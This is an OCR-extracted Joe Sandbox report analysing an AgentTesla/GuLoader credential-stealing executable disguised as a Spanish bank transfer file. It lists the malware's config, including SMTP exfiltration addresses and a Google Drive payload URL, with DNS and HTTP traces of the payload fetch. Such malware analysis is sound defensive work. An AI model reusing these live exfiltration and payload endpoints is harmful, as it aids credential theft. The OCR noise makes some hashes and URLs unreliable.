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Behavior
System Behavior

Analysis Process: Transferencia_29 11_2021 17.03.39.exe PID: 5360 Parent PID: 6940

General
File Activities
File Created
Registry Activities
Key Created
Key Value Created
Analysis Process: CasPol.exe PID: 3940 Parent PID: 5360
General
File Activities
File Created
File Written
File Read
Analysis Process: conhost.exe PID: 4876 Parent PID: 3940
General
File Activities

Disassembly
Code Analysis
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Windows Analysis Report Transferencia_29_11 2021 17...
Overview

General Information Detection Signatures Classification

Sample Transferencia_29_11_2021
Name: 17.03.39.exe MALICIOUS

Analysis ID: 532136

Found malware configuration

Potential malicious icon found

MD5: . .
a70cf8fdf5c68e4. .. Multi AV Scanner detection for subm...
SHA1:
42974930db6254... Yara detected AgentTesla
SHA256: dd7883497basfc4.
Yara detected Guloader
Infos: Q l;I‘ pi3 & H

Hides threads from debuggers
Most interesting Screenshot:
Tries to steal Mail credentials (via fil...
Writes to foreign memory. regions

Tries to harvest and steal Putty / Wi...

AgentTesla GulLoader
100

Score: Tries to detect Any.run
Range: 0-100 Tries to harvest and steal ftp loginic
Whitelisted: false

X Tries to detect sandboxes and other...
Confidence: 100%

Process Tree

= System is wl0x64native

e [ Transferencia_29_11_2021 17.03.39.exe (PID: 5360 cmdline: "C:\Users\user\Desktop\Transferencia_29_11 2021 17.03.39.exe" MD5:
A70CF8FDF5C68E414BAD4494A44F272A)
e [ CasPol.exe (PID: 3940 cmdline: "C:\Users\user\Desktop\Transferencia_29_11 2021 17.03.39.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)
. conhost.exe (PID: 4876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFAGS)
= cleanup

Malware Configuration

Threatname: Agenttesla

"Exfil Mode": "SMTP",

"SMTP Info": "tamasfulop @csavarcsapagyexpress.huRozsnyoid2mail.csavarcsapagyexpress.hukelvinleelee500@gmail.com”

}

Threatname: GuLoader

{
"Payload URL": "https://drive.google.com/uc?export=download&id=1V_BC3orZyo_Cje"
}

Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000004.00000000.107619247628.000000000 JoeSecurity_GulLoader_2 Yara detected Joe Security
1390000.00000040.00000001.sdmp GuLoader
00000004.00000002.112539654959.000000001 JoeSecurity_AgentTesla_1 Yara detected Joe Security
E611000.00000004.00000001.sdmp AgentTesla
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Source Rule Description Author Strings

00000004.00000002.112539654959.000000001 JoeSecurity_CredentialSte Yara detected Joe Security
E611000.00000004.00000001.sdmp aler Credential Stealer
Process Memory Space: CasPol.exe PID: 3940 JoeSecurity_AgentTesla_1 Yara detected Joe Security
AgentTesla
Process Memory Space: CasPol.exe PID: 3940 JoeSecurity_CredentialSte Yara detected Joe Security
aler Credential Stealer

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

=

Found malware configuration

Multi AV Scanner detection for submitted file

Networking:

‘]

=

System Summary:

Potential malicious icon found

Data Obfuscation:

]

Yara detected GuLoader

Malware Analysis System Evasion:

Anti Debugging:

=

]‘

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

=

Yara detected AgentTesla
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Remote Access Functionality:

Yara detected AgentTesla

Mitre Att&ck Matrix
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Behavior Graph
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Behavior Graph
Sample: Transferencia_29_11_2021 17. P
o

Architecture:  WINDOWS
Score: 100

Screenshots

Thumbnails
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Signature
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DNS/IP Info
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Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

started

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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View
Sortby
Refresh

Paste
Paste shortcut
New

3 Displey settings

& Personalize
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Ell © Type here to search o]

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
csavarcsapagyexpress.hu 0% Virustotal Browse
mail.csavarcsapagyexpress.hu 0% Virustotal Browse
URLs

Source Detection Scanner Label Link
http://127.0.0.1:HTTP/1.1 0% Avira URL Cloud safe
http://DynDns.comDynDNS 0% Avira URL Cloud safe
http://https://sectigo.com/CPS0 0% Virustotal Browse
http://https://sectigo.com/CPS0 0% Avira URL Cloud safe

http://rTgNdy.com 0% Avira URL Cloud safe

http://go.micF. 0% Avira URL Cloud safe

http:// X7N6F9gC7jnN7HPYuUB7.net 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/dd7883497ba8fc4a8fac606d4f3cec70b6d42c0017e320f9becb071d899c6c30/detection/f-dd7883497ba8fc4a8fac606d4f3cec70b6d42c0017e320f9becb071d899c6c30-1638382362
https://www.virustotal.com/gui/url/040cacfa065e6e33b3183e4560d2ba5eae2d56213a2a3a913b4e566d14d166ca/detection/u-040cacfa065e6e33b3183e4560d2ba5eae2d56213a2a3a913b4e566d14d166ca-1456587799
https://www.virustotal.com/gui/url/7b180de210808ac1999e376278d354882af437439af6fb43569a32c0a1cf832a/detection/u-7b180de210808ac1999e376278d354882af437439af6fb43569a32c0a1cf832a-1635866861
https://www.virustotal.com/gui/url/37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8/detection/u-37a6f33d76f893041bfd68ba9039c68cee2298fc4bb91cce98db74e4dfcdd8a8-1636993516

Source Detection Scanner Label Link

http:i/https://Iwww.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32- 0% Avira URL Cloud safe
0.4.3.6.zip%tordir%%ha

http://https://csp.withgoogle.com/csp/report-to/gse_I9ocaq 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation
drive.google.com 142.250.185.78 true false high
googlehosted.l.googleusercontent.com 142.250.185.97 true false high
doc-08-6k-docs.googleusercontent.com unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp://https://doc-08-6k- false high
docs.googleusercontent.com/docs/securesc/ha0Oro937gcuc?I7deffksulhng5h7mbp1/q217t7liccs
uj5vIu8k9v7g15blolesf/1638382200000/11612195336931281153/*/1V_BC3o0rZyo_CjeEmMyBV

ynAV_UOPmtl6?e=download

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
142.250.185.78 drive.google.com United States 15169 GOOGLEUS false
142.250.185.97 googlehosted.l.googleuser United States 15169 GOOGLEUS false

content.com

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal

Analysis ID: 532136

Start date: 01.12.2021

Start time: 19:08:05

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 12m 55s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Transferencia_29_11_ 2021 17.03.39.exe

Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe
Reader DC 21, Java 8 Update 301

Run name: Suspected Instruction Hammering

Number of analysed new started processes 15

analysed:

Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o O o o

Number of injected processes analysed:
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https://www.virustotal.com/gui/url/040cacfa065e6e33b3183e4560d2ba5eae2d56213a2a3a913b4e566d14d166ca/detection/u-040cacfa065e6e33b3183e4560d2ba5eae2d56213a2a3a913b4e566d14d166ca-1456587799
https://www.virustotal.com/gui/url/7b180de210808ac1999e376278d354882af437439af6fb43569a32c0a1cf832a/detection/u-7b180de210808ac1999e376278d354882af437439af6fb43569a32c0a1cf832a-1635866861

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:
HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

19:10:37

API Interceptor

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.rans.troj.spyw.evad.winEXE@4/1@3/3
Failed
Failed

e Successful, ratio: 94%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time
e Enable AMSI
e Found application associated with file extension: .exe

Show All

Type Description

Joe Sandbox View | Context

IPs

Match
185.111.89.226

Domains

Match

ASN

Match
WEBSUPPORT-SRO-SK-ASSK

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Associated Sample Name / URL SHA 256

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

2733x Sleep call for process: CasPol.exe modified

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

Context

Context

185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
195.210.28.115
185.111.89.226
185.111.89.226
Page 10 of 36


https://view.joesandbox.com/analysis/417890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417890/html/none?idtype=webid
https://view.joesandbox.com/analysis/413306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413306/html/none?idtype=webid
https://view.joesandbox.com/analysis/412650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412650/html/none?idtype=webid
https://view.joesandbox.com/analysis/405427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405427/html/none?idtype=webid
https://view.joesandbox.com/analysis/403883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403883/html/none?idtype=webid
https://view.joesandbox.com/analysis/398084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398084/html/none?idtype=webid
https://view.joesandbox.com/analysis/398069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398069/html/none?idtype=webid
https://view.joesandbox.com/analysis/397915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397915/html/none?idtype=webid
https://view.joesandbox.com/analysis/397301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397301/html/none?idtype=webid
https://view.joesandbox.com/analysis/397195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397195/html/none?idtype=webid
https://view.joesandbox.com/analysis/395468/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395468/html/none?idtype=webid
https://view.joesandbox.com/analysis/395033/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395033/html/none?idtype=webid
https://view.joesandbox.com/analysis/394687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394687/html/none?idtype=webid
https://view.joesandbox.com/analysis/394673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394673/html/none?idtype=webid
https://view.joesandbox.com/analysis/417890/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417890/html/none?idtype=webid
https://view.joesandbox.com/analysis/413306/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413306/html/none?idtype=webid
https://view.joesandbox.com/analysis/412650/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412650/html/none?idtype=webid
https://view.joesandbox.com/analysis/405427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405427/html/none?idtype=webid
https://view.joesandbox.com/analysis/403883/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/403883/html/none?idtype=webid
https://view.joesandbox.com/analysis/398371/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398371/html/none?idtype=webid
https://view.joesandbox.com/analysis/398084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398084/html/none?idtype=webid
https://view.joesandbox.com/analysis/398069/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398069/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

JA3 Fingerprints

Match Associated Sample Name /| URL SHA 256
37f463bf4616ecd445d4a1937da06e19

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Dropped Files

No context

Created |/ dropped Files

\Device\ConDrv

Process: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped

Copyright Joe Security LLC 2021

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
185.111.89.226
37.9.175.26
185.111.90.24
185.111.89.170
37.9.175.3
185.111.89.170

Context

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97

142.250.185.78
142.250.185.97
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https://view.joesandbox.com/analysis/397915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397915/html/none?idtype=webid
https://view.joesandbox.com/analysis/397301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397301/html/none?idtype=webid
https://view.joesandbox.com/analysis/397195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397195/html/none?idtype=webid
https://view.joesandbox.com/analysis/395468/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395468/html/none?idtype=webid
https://view.joesandbox.com/analysis/395033/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395033/html/none?idtype=webid
https://view.joesandbox.com/analysis/394687/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394687/html/none?idtype=webid
https://view.joesandbox.com/analysis/394673/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394673/html/none?idtype=webid
https://view.joesandbox.com/analysis/380201/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380201/html/none?idtype=webid
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374462/html/none?idtype=webid
https://view.joesandbox.com/analysis/372726/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/372726/html/none?idtype=webid
https://view.joesandbox.com/analysis/367844/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/367844/html/none?idtype=webid
https://view.joesandbox.com/analysis/363461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/363461/html/none?idtype=webid
https://view.joesandbox.com/analysis/419261/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419261/html/none?idtype=webid
https://view.joesandbox.com/analysis/419225/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419225/html/none?idtype=webid
https://view.joesandbox.com/analysis/419221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419221/html/none?idtype=webid
https://view.joesandbox.com/analysis/419218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419218/html/none?idtype=webid
https://view.joesandbox.com/analysis/419203/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419203/html/none?idtype=webid
https://view.joesandbox.com/analysis/419171/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419171/html/none?idtype=webid
https://view.joesandbox.com/analysis/419164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419164/html/none?idtype=webid
https://view.joesandbox.com/analysis/419158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419158/html/none?idtype=webid
https://view.joesandbox.com/analysis/419112/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419112/html/none?idtype=webid
https://view.joesandbox.com/analysis/419099/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419099/html/none?idtype=webid
https://view.joesandbox.com/analysis/419057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419057/html/none?idtype=webid
https://view.joesandbox.com/analysis/419053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419053/html/none?idtype=webid
https://view.joesandbox.com/analysis/419022/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419022/html/none?idtype=webid
https://view.joesandbox.com/analysis/419018/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419018/html/none?idtype=webid
https://view.joesandbox.com/analysis/419005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419005/html/none?idtype=webid
https://view.joesandbox.com/analysis/419004/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419004/html/none?idtype=webid
https://view.joesandbox.com/analysis/418999/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418999/html/none?idtype=webid
https://view.joesandbox.com/analysis/418987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418987/html/none?idtype=webid
https://view.joesandbox.com/analysis/418952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418952/html/none?idtype=webid
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418950/html/none?idtype=webid

\Device\ConDrv
Size (bytes): 30
Entropy (8bit):  3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITQAGRHner

MDS5: 9F754B47B351EFOFC32527B541420595

SHA1L: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84ABE73F856DEB5SE0878D673079D05840591

SHA-512: C6996379BCB774CE27EEECOF173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A0853
Malicious: false

Reputation: moderate, very likely benign file

Preview:

NordVPN directory not found!..

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 5.216110090959714
TriD: * Win32 Executable (generic) a (10002005/4)
99.15%
e Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%
File name: Transferencia_29_11_2021 17.03.39.exe
File size: 152688
MD5: a70cf8fdf5c68e414bad4494a44f272a
SHA1L: 4a974930db625492a8aa3f046759db63f057129
SHA256: dd7883497ba8fc4a8fac606d4f3cec70b6d42c0017e320f
9becb071d899c6c30
SHA512: 7279f30ac01665f31e4dd4ff11fb85954d9109953e1d3b04
1971cbha8973e6b640eca8794223a5be3762d1911889ba!
2fc8b84c952b49f002f98f1e79babeb273
SSDEEP: 1536:4JE617m717UopmGeFgk1lhG6dvIWOCQelFpVfB

File Content Preview:

File Icon

3

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:

20047¢7c70f0e004

0x401888
text
true
0x400000

windows gui

RnOmk:KE6I7mh/UFgk1hG6GOC/If2mk

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x4B9437E6 [Sun Mar 7 23:33:58 2010 UTC]

OS Version Major: 4
OS Version Minor: 0
File Version Major: 4

Copyright Joe Security LLC 2021
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General

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Authenticode Signature

Signature Valid:

Signature Issuer:

Signature Validation Error:

Error Number:
Not Before, Not After
Subject Chain

Version:

Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:

Serial:

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size
text 0x1000 0x20ac4
.data 0x22000 0x122c
.rsrc 0x24000 0x960

Resources
Imports
Version Infos
Possible Origin

Language of compilation system

Chinese

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Copyright Joe Security LLC 2021

Raw Size

0x21000

0x1000

0x1000

0
4
0
b209c8634733456633136bfedc71877a

false

E=ansvarslsere @Episcotister1.BON, CN=INDDRIVNING, OU=sporuloid, O=atomkraftvrks,

L=Capsheaf, S=Appointed, C=CD

A certificate chain processed, but terminated in a root certificate which is not trusted

by the trust provider
-2146762487
e 01/12/2021 11:06:33 01/12/2022 11:06:33

e E=ansvarslsere@Episcotisterl.BON, CN=INDDRIVNING, OU=sporuloid,

O=atomkraftvrks, L=Capsheaf, S=Appointed, C=CD
3
29DB6066933764E6DBFI6BB776031AF3
7F5DF2711E99DDB2A16381EF8330D115FB1C72B2

B038217303FBOC77E03FB5D245BB31AF36E8932DBBB944A0599B9F5ECB20D07C

00

Xored PE ZLIB Complexity File Type Entropy

False 0.366751006155 data 5.29953521895
False 0.00634765625 data 0.0

False 0.175048828125 data 2.0387904916

Country where language is spoken

Taiwan

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Map
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Dec 1, 2021 19:10:26.212265968 CET 192.168.11.20 1111 Oxba6 Standard query  drive.google.com A (IP address) IN (0x0001)

(0
Dec 1, 2021 19:10:26.868185043 CET 192.168.11.20 1111 0x7351 Standard query  doc-08-6k- A (IP address) IN (0x0001)

(0) docs.googl

eusercontent.com

Dec 1, 2021 19:12:02.195431948 CET 192.168.11.20 1.1.1.1 Oxe5b4 Standard query  mail.csava A (IP address) IN (0x0001)

(0) rcsapagyex

press.hu
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Dec 1, 2021 1111 192.168.11.20  Oxba6 No error (0) drive.goog 142.250.185.78 A (IP address)  IN (0x0001)
19:10:26.221477032 le.com
CET
Dec 1, 2021 1111 192.168.11.20  0x7351 No error (0) doc-08-6k- googlehosted.l.googleuse CNAME IN (0x0001)
19:10:26.911423922 docs.googl rcontent.com (Canonical
CET euserconte name)
nt.com
Dec 1, 2021 1111 192.168.11.20  0x7351 No error (0) googlehost 142.250.185.97 A (IP address)  IN (0x0001)
19:10:26.911423922 ed.l.googl!
CET euserconte
nt.com

Dec 1, 2021 1111 192.168.11.20  Oxe5b4 No error (0) mail.csava csavarcsapagyexpress.hu CNAME IN (0x0001)
19:12:02.303282022 rcsapagyex (Canonical
CET press.hu name)
Dec 1, 2021 1111 192.168.11.20  Oxe5b4 No error (0) csavarcsap 185.111.89.226 A (IP address)  IN (0x0001)
19:12:02.303282022 agyexpress.hu
CET

HTTP Request Dependency Graph

e drive.google.com

e doc-08-6k-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID Source IP Source Port Destination IP  Destination Port Process

0 192.168.11.20 49810 142.250.185.78 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
kBytes

Timestamp transferred Direction Data

2021-12-01 18:10:26 UTC 0 ouT GET /uc?export=download&id=1V_BC3orZyo_CjeEmMyBVynAV_UOPmMtl6 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

Copyright Joe Security LLC 2021 Page 14 of 36



kBytes
Timestamp transferred

2021-12-01 18:10:26 UTC 0

2021-12-01 18:10:26 UTC 1

2021-12-01 18:10:26 UTC 2

Session ID Source IP

1 192.168.11.20
kBytes

Timestamp transferred

2021-12-01 18:10:26 UTC 2

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49811

Direction
ouT

Data

HTTP/1.1 302 Moved Temporarily

Content-Type: text/html; charset=UTF-8

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Wed, 01 Dec 2021 18:10:26 GMT

Location: https://doc-08-6k-docs.googleusercontent.com/docs/securesc/haOro937gcuc7I7deffksulhg5h7mbpl/q217t7I1
ccsuj5viu8k9v7gl5blolesf/1638382200000/11612195336931281153/*/1V_BC3orZyo_CjeEmMyBVynAV_UOPmtl6?e=do
wnload

P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-X1k035sirryC5EI3uy6/OA' 'unsafe-inline' 'strict-dynamic' https: http: ‘'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Set-Cookie: NID=511=U5KdIzBE9rcFyV9f2sq3C9sVmXc3Lp_r7FgxH7BEVv53E3bW9AOticmXR65IxiWCd-SC5Cs
zb2eq4bYUh_fipuUvbNZKb9-_w3Fjog4NgnT8VSt XFqCgkGkydGbgsQeNBbFcl7GK8F0zkAPLmMjSUugN7QLBsjMsV
pYAOUEXEQuQ; expires=Thu, 02-Jun-2022 18:10:26 GMT; path=/; domain=.google.com; Secure; HttpOnly; Sa
meSite=none

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 31 38 34 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70
6f 72 61 72 69 6¢ 79 3c 2f 54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e Oa 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f
72617269 6¢ 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 38 2d 36 6b 2d 64 6f 63 73 2e 67 6f 6f 67 6¢ 65 75 73 65 72 63 6f 6e 74
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6¢ 37 64 65 66
66 6b 73 75 6¢ 68 67 35 68 37 6d 62 70 31 2f 71 32 31 37

Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-08-6k-docs.goog
leusercontent.com/docs/securesc/haOro937gcuc?7I7deffksulhgsh7mbpl/q217

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.185.97 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /docs/securesc/haOro937gcuc?|7deffksulng5h7mbp1/q217t711ccsuj5viu8k9v7g15blolesf/1638382200000/1
1612195336931281153/*/1V_BC3orZyo_CjeEmMyBVynAV_UOPmtl6?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-08-6k-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes
Timestamp transferred

2021-12-01 18:10:27 UTC 2

2021-12-01 18:10:27 UTC 6

2021-12-01 18:10:27 UTC 9

2021-12-01 18:10:27 UTC 13

2021-12-01 18:10:27 UTC 17

2021-12-01 18:10:27 UTC 18

Copyright Joe Security LLC 2021

Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycduWfXG_GfRrrtanxhz-iY1rPND9YLc3ul6ddR-rQ12yOnBv8RozLZ4JawXuMlok
z3C1okm2IgHkp9SdbVBQqi9QT_lur7g

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
